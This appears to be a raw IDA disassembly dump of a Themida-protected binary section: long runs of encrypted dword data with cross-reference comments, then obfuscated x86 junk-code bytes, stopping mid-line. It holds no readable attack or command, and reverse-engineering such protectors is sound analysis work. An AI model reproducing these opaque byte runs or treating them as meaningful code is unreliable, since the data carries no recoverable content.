2D6975FBh ; DATA XREF: Themida_:0054D0CCo ; Themida_:0054E198o dd 734A9DD6h, 59E3C3A8h, 69EB9991h, 2D7E99FEh, 7B2C9D6Dh db 75h byte_587721 db 0Eh, 0E1h, 98h ; DATA XREF: Themida_:0054CB7Co aCiz db 'æ›z+&]',0 db 2Dh dd 2D697585h, 764A9D6Bh, 71E3C676h, 69EB99FEh, 2D7D9949h dd 7E299DB6h, 7A3EC698h, 0E7E1FB4Ah, 38E72055h, 586A9B7Bh dd 0B8D71EBCh, 2D6C8DDAh, 7E3A8419h, 94D25D3Dh, 0A46A9D5Fh dd 3D64F828h, 38F710D0h, 0D26C8FD3h, 0AE32C666h, 3D6A0867h dd 3A1E9D6Bh, 94D2CEE6h, 0A46A9D5Fh, 3D64F828h, 29F710D0h dd 0D26C8FDEh, 4D32C666h, 0AC0CC48Dh, 4C05E9BDh, 0C53D9DDCh dd 2D6A9D58h, 72A9C28Dh, 294EE15Fh, 294ED9EAh, 2D6A9DA0h dd 4DA9CA9Dh, 0EFD5FB1Fh, 47AA16A4h, 2E82C85Bh, 0D6A9DADh dd 0A4375E8Bh, 0AC6EB907h, 376EB9F1h, 686A9DDAh, 0DC3C5E38h dd 0CDE5F083h, 64FF96BAh, 0EB6C8D8Ch, 3D497853h, 7D39CB6Dh dd 633022D3h, 2982C383h, 7F6A9D6Dh, 22F6350Eh, 2D6A97DFh dd 940CFDADh, 960CBB67h, 7D0BAD13h, 0EBE23E2h, 0A635E9EBh dd 4B6EB929h, 0A681B409h, 0E6E1FB5Bh, 294ED924h, 5F5DEB68h dd 0E2E0C53Dh, 302F284Ah, 3F839BCAh, 2C6A9D6Dh, 0D1BE557Bh dd 2B38C8E2h, 0B056A07h, 3BE603EFh, 0F4D7B63Dh, 0A06C8DA7h dd 3EEF175Fh, 9A65CB6Bh, 9265C740h, 0A6BA6293h, 3D67C410h dd 0AC6EF7D0h, 0FB0168B5h, 9E5CF581h, 0A60C9ED5h, 95E1C9Eh dd 2E653E80h, 0C5389D31h, 2D6A9DAEh, 77A9C7F6h, 294EC9E2h dd 294ED934h, 2D6A9DC3h, 0EFA9CF2Fh, 0FDBBAA04h, 3A1F506h dd 0A60CF4B8h, 95E1C28h, 447FB14Ch, 0C53B9DDFh, 2D6A9DD9h dd 74A9C44Dh, 294ED13Fh, 294ED9DAh, 2D6A9DB1h, 64A9CC97h dd 69EF04E3h, 93CEC876h, 0CFEB9DB0h, 759FF9C3h, 930C4D49h dd 0A8E3EFC6h, 2B795FCCh, 0C5389DBCh, 2D6A9D68h, 77A9C795h dd 294EC953h, 294ED9ECh, 2D6A9DAAh, 0FBA9CF19h, 0E6E97CBFh dd 47D6755Fh, 2D6A9283h, 655C98B5h, 975EF99Eh, 7783FBDBh dd 0E069BF98h, 7CD2B2E5h, 3C83C294h, 436A9DD6h, 5BD6695Fh dd 4202762Ch, 3E6AB3Bh, 6FD1EDD1h, 0E16F653Dh, 0A46A9D59h dd 3EA8F828h, 35AA1ED0h, 0EF0318E2h, 0ED599BA6h, 2D687163h dd 97C06E6Dh, 65C699BAh, 2D6A95B2h, 0CDE0F8ADh, 285086C4h dd 90E3FD1Dh, 2B7A8334h, 0A8ACFC26h, 2B7ABE88h, 7B6AF7F5h dd 2D6A9EB3h, 0EE34BDADh, 91E1488h, 92E1C6Fh, 2D6A89B1h dd 0EE3CDBDAh, 2D66743Eh, 20DD9DB6h, 0A1A8C23Fh, 585941B7h dd 0E7E11496h, 2D6A9983h, 4A01C3B5h, 2DEF9246h, 7D6A9D6Dh dd 0C9ECD808h, 92E163Ch, 2D7E74A9h, 7AF19DD6h, 3F882C9Fh dd 0A153C9A0h, 0EA024E1h, 828EE66Ch, 2DE134B3h, 4144223Dh dd 294ED924h, 3C82CF86h db 6Bh, 9Dh, 6Ah byte_5879F3 db 1Fh ; DATA XREF: Themida_:0054E1A8o dd 0BA127F6h, 8E92BA17h, 0FADE2370h, 1F7F1523h, 2D6A1B54h dd 22339DADh, 779016E7h, 2D00C533h, 2D6975E2h, 724A9DDAh dd 51E3C2AEh, 69EB9992h, 2D77997Fh, 7A2D9DADh, 6AF57D15h dd 3F6BB5E5h, 2496FA07h, 3D47A057h, 68DF626Bh, 226C8DABh dd 2D6A96DDh, 28EA92ADh, 936A9DD6h, 125E1596h, 2D6A985Ch dd 20C785DAh, 0A8E701BFh, 2B79183Ch, 0A0E1CDA3h, 2B7A8CACh dd 47BA6289h, 2E82CB6Bh, 0D6A9DB5h, 0A4345E84h, 0AC6EB919h dd 356EB9F2h, 6B6A9D5Bh, 0FD5E5EFBh, 4D4A9C30h, 0EFF00E0h dd 92659BA5h, 0D3E1FC14h, 0C0F18E4h, 0B8439BA6h, 2B7AB71Eh dd 0B831820h, 2D009BC6h, 2D69753Bh, 754A9DB5h, 69E3C519h dd 69EB9949h, 2D7F9992h, 7D2A9D5Bh, 0A69AE76Eh, 3D49F463h dd 58E7146Dh, 0A46C8DA7h, 3D77845Fh, 54D7166Bh, 0EB6C8D91h dd 3D4978DEh, 98E3CEABh, 2B7A8E93h, 2D6A9983h, 9C2245B5h dd 77D5FB26h, 69E1CDADh, 940C9992h, 2DE128BFh, 844D8914h dd 92E14E7h, 0DDE1FB6Fh, 7C6AF7EDh, 2D6A9E32h, 0EE33BD6Dh dd 92614EFh, 92E1C5Fh, 2D6A86A9h, 0EE3BDCD6h, 55BC7DC5h dd 0B109883h, 2D6A9432h, 63DD7F6Dh, 18ACFCF7h, 0B8E3BF47h dd 2B7A882Ch, 0D291168Ch, 3D77D8DEh, 2BE792B3h, 1E6A9DDAh dd 3D62B4D0h, 0A7EF10B0h, 476C8EDEh, 2E82CBADh, 0D6A9DD6h dd 0A4345E35h, 0AC6EB9C1h, 366EB99Eh, 6B6A9D6Dh, 83B95EE0h dd 0D071F6B3h, 0D296DCF0h, 7B6AF706h, 2D6A9E83h, 0EE34BDB5h dd 91E1484h, 92E1C69h, 2D6A88B2h, 0EE3CDB5Bh, 0D2D5817Ah dd 0AC090423h, 29E6E485h, 0E4EF14BFh, 476C8DEBh, 2E82C86Dh dd 0D6A9DB6h, 0A4375E06h, 0AC6EB9C1h, 3A6EB992h, 686A9D6Bh dd 5DF55EE0h, 90437A5Eh, 2B7AAFE4h, 0E8F1870h, 47399B4Bh dd 2E82CEADh, 0D6A9DD6h, 0A4315E30h, 0AC6EB9E9h, 366EB99Eh dd 6E6A9D6Dh, 96CA5EE5h, 83D81EC9h, 25834B94h, 996A9DD6h dd 0AE229631h, 452C0695h, 84707007h, 19EBDBDFh, 2F43F392h dd 7C6AF72Ah, 2D6A9E45h, 0EE33BDD6h, 9261432h, 92E1CB1h dd 2D6A86DEh, 0EE3BDC6Dh, 6621F90Fh, 0A55B50BBh, 302F2852h dd 2D009BC6h, 2D697539h, 774A9DB5h, 79E3C719h, 69EB9949h dd 2D729992h, 7F289D5Bh, 7BCB6B6Eh, 20830C6Eh, 966A9D6Bh dd 2E3EFA6Fh, 8824AEC5h, 6E9EC42Dh, 0A0A27836h, 3EEF17DEh dd 7D6AF7ABh, 2D6A9E3Eh, 0EE32BD6Bh, 92E14EDh, 92E1CDEh dd 2D6A8669h, 0EE3ADDB6h, 620E605Bh, 0CD07B175h, 0D23D4456h dd 0CEAF1DBBh, 2CF183Ch, 2D009BCAh, 2D69753Ah, 724A9DB6h dd 51E3C298h, 69EB9989h, 2D7099F2h, 7A2D9D6Bh, 98903876h dd 0A4E5F1B0h, 2D6A8D85h, 0A863ADB6h, 956F412Fh, 39462CFBh dd 0BD4F5D09h, 0CDF160Dh, 736C8DB2h, 0E8F181Ch, 472D9B7Dh dd 2E82CEB6h, 0D6A9D5Bh, 0A4315EF6h, 0AC6EB98Ah, 316EB92Fh dd 6E6A9DB5h, 4A565E89h, 1740FBh, 4540FF18h, 15F7ADA8h dd 2D6A9744h, 606DDED6h, 0FA7321A6h, 0ACC70455h, 81DCB9DEh dd 4B0AE22Ch, 0A4731D08h, 3D4A64D6h, 9895FCABh, 2B7A8093h dd 0A23157EAh, 0A8E7EAD1h, 2B791850h, 0C53D9D07h, 2D6A9DB5h dd 72A9C27Bh, 294EE124h, 294ED957h, 2D6A9D73h, 30A9CAF2h dd 0D5DD2119h, 1FD44D92h, 0A426717Dh, 3D6A34DEh, 5CFF16ABh dd 0EB6C8DC2h, 3D4978EEh, 2D00DAB3h, 2D69758Fh, 704A9D6Dh dd 41E3C075h, 69EB997Fh, 2D739989h, 782F9DD6h, 0D2C168A8h dd 0C5A82E70h, 2D6A9DDEh, 0ACB68D17h, 0A52A22D0h, 92E160Bh dd 27EA92A9h, 0C46A9DD6h, 2D6A9D6Eh, 14569BB9h, 0A66A16BEh dd 92E1493h, 4B38CDB2h, 1C654AD0h, 0D0DBCFFDh, 72D0ACD9h dd 77601376h, 7532C7EDh, 0C53B9DB0h, 2D6A9D6Eh, 74A9C496h dd 294ED1D2h, 294ED92Ch, 2D6A9DCAh, 11A9CC2Ah, 26302936h dd 0B64A1E92h, 2D6C750Dh, 0FE089DB6h, 9E902E26h, 2D6A1DA2h dd 4B339DD6h, 220B6FE0h, 98955602h, 2B7A809Fh, 0C53A9D07h dd 2D6A9DB5h, 75A9C57Bh, 294ED924h, 294ED957h, 2D6A9D76h dd 0F9A9CDF5h, 0EB65A71Fh, 900A19B6h, 2DED92DDh, 0A06A9D5Bh dd 3EEF1728h, 7C6AF7D0h, 2D6A9E83h, 0EE33BDB5h, 9261483h dd 92E1C69h, 2D6A86B2h, 0EE3BDC5Bh, 0D7228196h, 8EE8B8ACh dd 8CDF163Bh, 726C8DBBh, 2D004D25h, 2D69753Bh, 734A9DB6h dd 59E3C398h, 69EB9989h, 2D7699F2h, 7B2C9D6Bh, 723B5376h dd 71A372F3h, 4B3A64F3h, 731AC109h, 3C9F28D0h, 0A8E39BBDh dd 2B7A9F93h, 276B08E0h, 0A8AC9BA5h, 2B7ABE3Fh, 7E6AF72Ah dd 2D6A9E5Eh, 0EE31BD5Bh, 93614F6h, 92E1CD2h, 2D6A816Fh dd 0EE39DEB5h, 0B3535E0h, 0D8027CC4h, 0C4DF940Eh, 456C8D76h dd 0CFDC57DDh, 4EA957h, 2222E69Dh, 2D6A9C35h, 0A8E365DAh dd 2B7AAFCCh, 302F2849h, 2D009B4Bh, 2D6975FCh, 744A9DD6h dd 61E3C4A8h, 69EB9991h, 2D7799FEh, 7C2B9D6Dh, 0B22BB975h dd 6A8320A5h, 0A0682745h, 3EEF1753h, 2FE8926Dh, 0A66A9DB5h dd 47BA6224h, 2E82CC6Dh, 0D6A9DB6h, 0A4335E02h, 0AC6EB9E1h dd 396EB992h, 6C6A9D6Bh, 4B945EE4h, 81AB4F5Bh, 23CB2066h dd 0A8E39BA6h, 2B7A99A2h, 2D6A9244h, 0BE753D6h, 0D6C79B44h dd 4C11F143h, 0C154EF62h, 2D004D92h, 2D6975E7h, 744A9D5Bh dd 61E3C46Eh, 69EB99F2h, 2D71994Fh, 7C2B9DB5h, 0AE208A19h dd 0DA558E47h, 5C841C5Ch, 0A675DB15h, 3D458018h, 8EF14D0h dd 0AC6C8D65h, 0C9C8AC5Ah, 0F5E6FBFCh, 3BB10E6h, 0A8659BA6h dd 2D6A9D42h, 2D6A8944h, 48C1B6D6h, 0A3B5BF59h, 81C13905h dd 61F24A9Bh, 0D8C051CCh, 476EB9B4h, 2E82CC5Bh, 0D6A9DADh dd 0A4335E8Fh, 0AC6EB927h, 3A6EB9F1h, 6C6A9DDAh, 0F1015E3Ch dd 90E30864h, 2B7A88DAh, 2D6A8E44h, 723CF3D6h, 0F5BB12AFh dd 8DC863Bh, 4933CDACh, 20AE0886h, 0A9655DBCh, 2D6A9FB1h dd 0C5399DC7h, 2D6A9DD5h, 76A9C64Bh, 294EC13Ch, 294ED95Bh dd 2D6A9D74h, 0AEA9CEF5h, 0E1E9C9BCh, 0A8AC65C1h, 2B7ABE33h dd 7F6AF724h, 2D6A9E5Dh, 0EE30BDDAh, 93E1437h, 92E1CB2h dd 2D6A885Fh, 0EE38DFADh, 0D9025439h, 94CFD1EFh, 62884077h dd 1D4EA95Bh, 0C4705185h, 2D6A9DBCh, 6BFAC8Bh, 89F08AE4h dd 98956BC3h, 2B7A802Eh, 0D095FB0Bh, 0A7EF10DDh, 476C8EE8h dd 2E82CFB6h, 0D6A9D5Bh, 0A4305EF7h, 0AC6EB982h, 316EB92Fh dd 6F6A9DB5h, 0AE425E88h, 76020A2Dh, 0A4AD2A97h, 3D79A4E6h dd 47BA62ABh, 2E82CBD6h, 0D6A9D6Bh, 0A4345EEBh, 0AC6EB9AEh dd 3A6EB929h, 6B6A9DB6h, 59065E0Dh, 0AC0C5308h, 0AEAFC43Ch dd 2D00B9ABh, 2D6975E3h, 734A9DDAh, 59E3C3AEh, 69EB9992h dd 2D7E997Fh, 7B2C9DADh, 0B8E17215h, 2B7AB3EAh, 0F8EF1440h dd 4B6C8DDFh, 0D93D6CECh, 3117003Fh, 0A8E19B4Bh, 2B7A9388h dd 0D5027B0h, 299300E0h, 47299BA5h, 2E82CADAh, 0D6A9D6Dh dd 0A4355EE9h, 0AC6EB927h, 3A6EB9E9h, 6A6A9DD6h, 6F4D5E3Ch dd 98616303h, 2B7A8257h, 9F0A86E6h, 2D6775DCh, 4C139D5Bh dd 5C8056E3h, 0F7F30A61h, 0A6BFC286h, 0A60BC542h, 7E6AF7C1h dd 2D6A9E85h, 0EE31BDB6h, 9361400h, 92E1CA9h, 2D6A87D2h dd 0EE39DE6Bh, 0A21F6D81h, 0A4796622h, 3D6F18D0h, 61A31CB0h dd 0A64A1A13h, 7F6AF7B6h, 2D6A9E3Eh, 0EE30BD6Bh, 93E14EFh dd 92E1CDEh, 2D6A8469h, 0EE38DFB6h, 92DF6C8Dh, 2782F75Ah dd 46A9DD6h, 0B169FE6Eh dd 3A533C16h, 72841790h, 90E1455Eh, 2B7A9097h, 3C9700D2h dd 2D009BBDh, 2D697583h, 704A9D6Bh, 41E3C076h, 69EB99FEh dd 2D779949h, 782F9DB6h, 0B1736E98h, 5DD7527Ch, 0AC8D8E84h dd 8D528A2h, 0EB852C93h, 3D49785Fh, 0A0E1DA6Bh, 2B7ABEE7h dd 7CBE4333h, 2D61740Ah, 9CFA9DD6h, 442098ADh, 0CC981B1h dd 95E1CB5h, 3DE5941Ah, 2D6A8D5Fh, 63B3C55Bh, 0E477B9DEh dd 36675164h, 9ADD0C64h, 68DF6238h, 476C8DC7h, 2E82C86Dh dd 0D6A9DB6h, 0A4375E06h, 0AC6EB9C1h, 396EB992h, 686A9D6Bh dd 0A0C95EE0h, 3EEF175Fh, 0FD95686Bh, 35CB203Fh, 0A8E39B4Bh dd 2B7A9D04h, 0C53C9DBCh, 2D6A9D68h, 73A9C395h, 294EE953h dd 294ED9ECh, 2D6A9DA2h, 0FFA9CB1Dh, 476A16EDh, 2E82CFD6h dd 0D6A9D6Bh, 0A4305EEFh, 0AC6EB98Eh, 3A6EB929h, 6F6A9DB6h dd 0DF985E09h, 2DE1CF82h, 0E7D5922Ah, 395318E2h, 2D009BA5h dd 2D69758Bh, 744A9D6Dh, 61E3C475h, 69EB997Fh, 2D7E9989h dd 7C2B9DD6h, 268352A8h, 426A9DB5h, 0C99DF4F5h, 8DB4F1C6h dd 6183F7C8h, 976A9D5Ah, 788488FCh, 0DA274A57h, 0A8E7AEC8h dd 2B795F32h, 0BDBC22D5h, 2482CF3Dh, 0F86A9DB6h, 0F5B78E6Bh dd 3134D3E7h, 2D6A983Eh, 0DE417A6Bh, 733351F4h, 0DFD5ACD5h dd 773F8BEBh, 0D5E1CDEEh, 7E6AF7CBh, 2D6A9E45h, 0EE31BDD6h dd 9361430h, 92E1CB1h, 2D6A8ADEh, 0EE39DE6Dh, 0A7DD13EAh dd 3DBF28D0h, 0B8959BBDh, 2B7A880Bh, 0C53A9D01h, 2D6A9DB6h dd 75A9C5FAh, 294ED9E4h, 294ED937h, 2D6A9D47h, 89A9CDEDh dd 99455929h, 0F373C83Dh, 0EFE70038h, 0EFEB9BC9h, 3E136CB4h dd 2D6F7425h, 6F179D5Bh, 7D749F89h, 2D6A923Eh, 0CFF0106Bh dd 8EDDF098h, 930D0988h, 0BF6DDFB3h, 2D6A975Fh, 9D77885Bh dd 1C5560B0h, 72AC423Ch, 1B981CF8h, 0BD08C007h, 2D6919D5h dd 0A60C9D6Dh, 4B0ACD60h, 973942D0h, 17E180D2h, 47FAFC88h dd 2E82CE6Bh, 0D6A9DB5h, 0A4315E81h, 0AC6EB931h, 376EB9F2h dd 6E6A9D5Bh, 0FC005EFEh, 293987FBh, 54EF1405h, 0D26C8DB2h dd 3D67184Fh, 78D7146Bh, 0A46C8DA2h, 3D6F48DEh, 7A6AF7ABh dd 2D6A9E3Eh, 0EE35BD6Bh, 91614EAh, 92E1CDEh, 2D6A8169h dd 0EE3DDAB6h, 52E8B4E3h, 7244DCE8h, 7CE794FAh, 0EB6C8D61h dd 3D497830h, 2D00CEDCh, 2D69753Dh, 754A9DB6h, 69E3C598h dd 69EB9989h, 2D7699F2h, 7D2A9D6Bh, 0C056A776h, 0A9477E7Bh dd 45926EAFh, 0D6E5E3CBh, 19EB2DEEh, 25909F89h, 7E6AF787h dd 2D6A9E83h, 0EE31BDB5h, 9361481h, 92E1C69h, 2D6A89B2h dd 0EE39DE5Bh, 68DF6270h, 0AC6C8DCBh, 0D32E9B84h, 0A7EF10B8h dd 476C8E5Fh, 2E82CB6Dh, 0D6A9DB6h, 0A4345E05h, 0AC6EB9D9h dd 386EB992h, 6B6A9D6Bh, 68935EE3h, 2D6614D5h, 0A1659D6Dh dd 2D6A9DB0h, 2D6A1854h, 0FD959DADh, 0C5399DBCh, 2D6A9D68h dd 76A9C695h, 294EC153h, 294ED9ECh, 2D6A9DAAh, 51A9CE18h dd 0BC8CBDF5h, 159F751Eh, 2D6C1264h, 0B8E19DB5h, 2B7A8ADFh dd 29FF18E4h, 2D009BA6h, 2D69750Dh, 734A9DADh, 59E3C315h dd 69EB994Fh, 2D7E9991h, 7B2C9DDAh, 0A43DCAAEh, 3D5A3003h dd 0A8ACC35Dh, 2B7ABE48h, 0D7E1FB91h, 4CC1103h, 0A60CFDD7h dd 2D6C7519h, 4C8F9D6Dh, 0AE6A1A34h, 4C34FC3Bh, 294E992Ch dd 4755D5B9h, 2E82CF6Bh, 0D6A9DB5h, 0A4305E80h, 0AC6EB939h dd 356EB9F2h, 6F6A9D5Bh, 44315EFFh, 94AB6E7Dh, 251424DFh dd 302F284Ah, 0B8419BCAh, 2B7ABAECh, 0A8E0183Bh, 92659B48h dd 47BA6266h, 2E82CDD6h, 0D6A9D6Bh, 0A4325EEDh, 0AC6EB99Eh dd 356EB929h, 6D6A9DB6h, 0AF145E0Bh, 7CEBC863h, 0AE0623B0h dd 3B9B1C35h, 0A40C70ABh, 3D78B85Fh, 2D78746Bh, 0CA959DB6h dd 595A3D0Bh, 7293F74h, 0EFB34985h, 73CAE3DDh, 0E8F1873h dd 47399BCAh, 2E82CF6Dh, 0D6A9DB6h, 0A4305E01h, 0AC6EB9F9h dd 366EB992h, 6F6A9D6Bh, 2F6E5EE7h, 5DA161E4h, 980AB57Dh dd 2982FC06h, 0BD6A9D5Bh, 7DF3A4F2h, 4B5B9284h, 753055E0h dd 0A665FDE5h, 2D6A9DD8h, 3982C73Fh, 0DF6A9DB6h, 7610E551h dd 360D3A86h, 86D5A4EFh, 0B7C56E92h, 0A69DCF39h, 0A60BC524h dd 0A66EB929h, 4D6A164Ch, 0C50A64D0h, 2D6A9DBFh, 99C05812h dd 200B0B88h, 0B4ABCA6Bh, 37546506h, 7C35D42Bh, 0A40BFCEFh dd 946EB91Fh, 785F4657h, 786AF78Eh, 2D6A9E83h, 0EE37BDB5h dd 9061487h, 92E1C69h, 2D6A88B2h, 0EE3FD85Bh, 79D524F2h dd 0D272BBD6h, 3D77D8DEh, 0FCD592B3h, 0A8E01857h, 2D009B7Eh dd 2D6975E5h, 764A9D5Bh, 71E3C66Eh, 69EB99F2h, 2D73994Fh dd 7E299DB5h, 972AC19h, 0D2DCEF4Dh, 7A6AF766h, 2D6A9EB3h dd 0EE35BDADh, 9161489h, 92E1C6Fh, 2D6A81B1h, 0EE3DDADAh dd 45E0605Bh, 0A38F4162h, 94EF14C5h, 0A46C8D80h, 3D449C63h dd 38E3926Dh, 0C46A9DB5h, 2D6A9DCAh, 6BF504EFh, 5E6E9B92h dd 274B1921h, 26970CD8h, 0E8F1810h, 473D9B7Bh, 2E82CAB5h dd 0D6A9DDAh, 0A4355E32h, 0AC6EB9CAh, 3B6EB91Fh, 6A6A9DADh dd 0C37A5E81h, 88DF946Dh, 0A46C8DBAh, 3D76FC47h, 1B33F56Bh dd 29EB1A76h, 6971307Fh, 989564A5h, 2B7A8093h, 0C53C9D01h dd 2D6A9DB6h, 73A9C3FAh, 294EE9E4h, 294ED937h, 2D6A9D41h dd 0A8A9CBEBh, 8B77861Dh, 2A8206C6h, 316A9DB5h, 0D97169CBh dd 0B8E12DB8h, 2B7A86FFh, 0FBE1FB05h, 0A8E01820h, 2D009BC5h dd 2D69753Ah, 744A9DB5h, 61E3C419h, 69EB9949h, 2D729992h dd 7C2B9D5Bh, 0D3DAF56Eh, 0FD95B21Eh, 98F7B40Bh, 0A46C8D9Ch dd 3D40BC5Fh, 0A8E3FC6Bh, 2B7A9BA3h, 0C5399D31h, 2D6A9DAEh dd 76A9C6F6h, 294EC1E2h, 294ED934h, 2D6A9DC7h, 0F7A9CE2Eh dd 27326B69h, 2C7B4E0Dh, 0D7D592F4h, 59C1CB0h, 0C8EF5B5Ch dd 6E6C8D96h, 0C5399DB0h, 2D6A9D6Eh, 76A9C696h, 294EC1D2h dd 294ED92Ch, 2D6A9DC2h, 42A9CE28h, 6E2D08DDh, 2D657585h dd 8BB49D6Dh, 2428DDDEh, 660017BCh, 85FADA8Ch, 2D787523h dd 0DAB49D6Bh, 4E4E34F6h, 30D078CAh, 0D8297E62h, 61BB0617h dd 72356AD0h, 0BE4E992Ch, 4737D0FEh, 2E82CD6Bh, 0D6A9DB5h dd 0A4325E82h, 0AC6EB929h, 386EB9F2h, 6D6A9D5Bh, 975C5EFDh dd 2D6A893Fh, 0F72A0D6Bh, 0CE312F4Bh, 84E1D775h, 84221CF1h dd 6B064E35h, 0F5841DE0h, 302F2852h, 2D009BC6h, 2D69753Ch dd 724A9DB5h, 51E3C219h, 69EB9949h, 2D769992h, 7A2D9D5Bh dd 0B3D1C16Eh, 0AF7468C8h, 0C59F0745h, 2D6A9DB0h, 0AE4D1D5h dd 0CCEBFB8Eh, 0A0342F5Dh, 3EEF17DEh, 7E6AF7ABh, 2D6A9E3Eh dd 0EE31BD6Bh, 93614EEh, 92E1CDEh, 2D6A8769h, 0EE39DEB6h dd 0FA0AC311h, 0A665FE1Ch, 3D499443h, 47BA626Dh, 2E82CFB5h dd 0D6A9DDAh, 0A4305E37h, 0AC6EB9E2h, 386EB91Fh, 6F6A9DADh dd 22AF5E84h, 0A4A1160Dh, 3D445430h, 2D7974DCh, 87079D6Dh dd 0D1DA2B1Ah, 850759AEh, 0D998B465h, 222E9CF4h, 0F7144Bh dd 0A06C8D98h, 3EA8E05Fh, 7E6AF76Bh, 2D6A9E5Eh, 0EE31BD5Bh dd 93614F6h, 92E1CD2h, 2D6A886Fh, 0EE39DEB5h, 98E13526h dd 2B7AB36Ch, 7DA41626h, 0A6FA4CD0h, 3D788438h, 0F0FF62D0h dd 0C46C8D7Eh, 2D6A9DBBh, 0ADCC1B02h, 62D14696h, 22163EFFh dd 0F5E12FB3h, 0C53A9DC7h, 2D6A9DD5h, 75A9C54Bh, 294ED93Ch dd 294ED95Bh, 2D6A9D77h, 0A9CDF6h, 9662993Eh, 0A8E7A1D7h dd 2B795FA7h, 23AF1068h dd 7DFA9BA5h, 7D5B9288h, 2DEA923Fh, 226A9DB6h, 77A0166Ah dd 7D32C7F5h, 1D2FBB6h, 4BD5FB7Ch, 7FFAFCDFh, 2D7E758Ch dd 0C1B79D6Dh, 3C5BACCh, 0AAB931C6h, 5F467AA6h, 62C78F3Ch dd 7233E1E0h, 26E592EAh, 226A9DDAh, 2D6A98EBh, 0E2EBFBB6h dd 98F9205Dh, 0D5E1CDCAh, 0A465CE45h, 2D6A9D6Dh, 8320BEh dd 0D2349BCAh, 3D6718F8h, 7A6AF7B0h, 2D6A9EB3h, 0EE35BDADh dd 9161489h, 92E1C6Fh, 2D6A81B1h, 0EE3DDADAh, 9A7014B0h dd 47F85D40h, 2D6D75B8h, 0B3979DADh, 0E7A42CFEh, 77A617D9h dd 20A3183Ch, 2D009BCAh, 2D69753Dh, 754A9DB6h, 69E3C598h dd 69EB9989h, 2D7E99F2h, 7D2A9D6Bh, 0A60CF476h, 78EF5A12h dd 226C8D6Dh, 266A9DB6h, 3D737CEEh, 0E4FF62ABh, 0C56C8DDBh dd 2D6A9D6Eh, 550F54E3h, 2D7B7505h, 0E3A59D6Dh, 0C9D97A8Eh dd 3862133Ch, 8BDABD1Fh, 774503CCh, 0F0EF1434h, 46C8D9Fh dd 3D7CAC4Fh, 10E7146Bh, 0A66C8DADh, 3D4BF8DEh, 0CFF710ABh dd 0A46C8E00h, 90E79C28h, 2B7ABB5Ch, 0FBD62857h, 1ED39B7Eh dd 0DE6A9DB6h, 955976FFh, 2D6A9DADh, 2E1E5DDDh, 0A66A85A9h dd 7E66B9F1h, 2D6A9D32h, 0EEEBC66Dh, 2D6A9DA1h, 3D4EC1D2h dd 394ED924h, 8D5D258Dh, 0CD959DCAh, 294ED93Eh, 0E8D47D25h dd 0C46EF0AFh, 2D6A9DB3h, 0C5DB474Eh, 0A465FCD9h, 2D6A9DF5h dd 2D6A9283h, 0C8AD93B5h, 7A9012DDh, 0A732EB50h, 4B6466D3h dd 2D6A94B2h, 796A3FADh, 0CC784B6Ch, 0A03556E8h, 3EA8EC08h dd 69E710DCh, 956C8EBAh, 0B54C3683h, 3DA71868h, 0E2419BBDh dd 0FB2D00FDh, 0D62D6975h, 0A8734A9Dh, 9159E3C3h, 0FE69EB99h dd 6D2D7E99h, 837B2C9Dh, 0A4F305E9h, 6AD98Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0C7587C3h dd 0E99A0D65h, 14h, 570A3BA7h, 88099D4Dh, 0FB2C9ED9h, 6888E2D7h dd 890FA3E2h, 52E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0B341F020h, 6A611Eh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 206501C3h, 3A8465ADh, 0E9265FA8h, 5, 5F710269h, 8BF8C389h dd 0D8F0FC0h, 60000000h, 3D37FFBAh, 0BAD18161h, 614BB255h dd 158DBD83h, 75000610h, 95BD8309h, 61000h, 53501974h dd 0B9B8C08Bh, 89000004h, 10132D85h, 7C9D8D06h, 0FF0612B8h dd 83585BD3h, 100095BDh, 17740006h, 0B9B85350h, 89000004h dd 10132D85h, 1D9D8D06h, 0FF0612B5h, 60585BD3h, 0F4BF66h dd 6A61FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 405A63C3h, 0A327CEC4h, 8E9C08Bh, 0A4000000h dd 84E9E8ACh, 4032304Eh, 8166C18Bh, 0EB1421CEh, 4, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 7CDBDEA9h, 0BE8h, 0CFACD900h, 3D054BEEh, 1AA202Ch, 1B3D8D89h dd 95F0610h, 101711B5h, 81850906h, 8D06100Ah, 1013B985h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 83EB0A17h, 68050C95h, 0ABBFF38Bh, 90568F3Fh dd 5958BE66h, 0C5BE6650h, 6A900Eh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 13E8BDC3h, 7A000000h dd 3A9BF491h, 20D1A785h, 0AE6B6D99h, 0C5AE8610h, 8D8938FCh dd 6100809h, 0FA8B665Fh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0D7817DC3h, 65961E8Ch dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 6F1A51C3h, 14E983h, 0C5390000h, 8F9E7A0Dh dd 0A54C3C8Bh, 7601A456h, 0FA17A914h, 858D860Fh, 613DA96h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2EC35747h dd 357E459Ah, 0EA9B589h, 0F28B0610h, 6A05C083h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 29BCC355h, 18C0BC9Eh, 1883C08Dh, 3870Fh, 8B660000h dd 8B6650F3h, 240489F3h, 0DE5BD29h, 6A0610h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 12C35747h, 0F3B70FF2h dd 0B58B006Ah, 6101575h, 1D1995FFh, 8D890610h, 6101081h dd 0AFD89D8Dh, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 292C7AC3h, 10218195h, 89D3FF06h dd 100BADB5h, 1985FF06h, 0E9061014h, 5, 2C1C3F32h, 7B3E951h dd 0E80000h, 5D000000h, 0DAA0ED81h, 95890613h, 6100BD5h dd 55BD81h, 7D00610h, 860F0000h, 169h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 90C35747h, 95387CDEh, 259D8973h dd 8B06101Dh, 1023819Dh, 13E806h, 73940000h, 621D7F0Ah dd 0AB070137h, 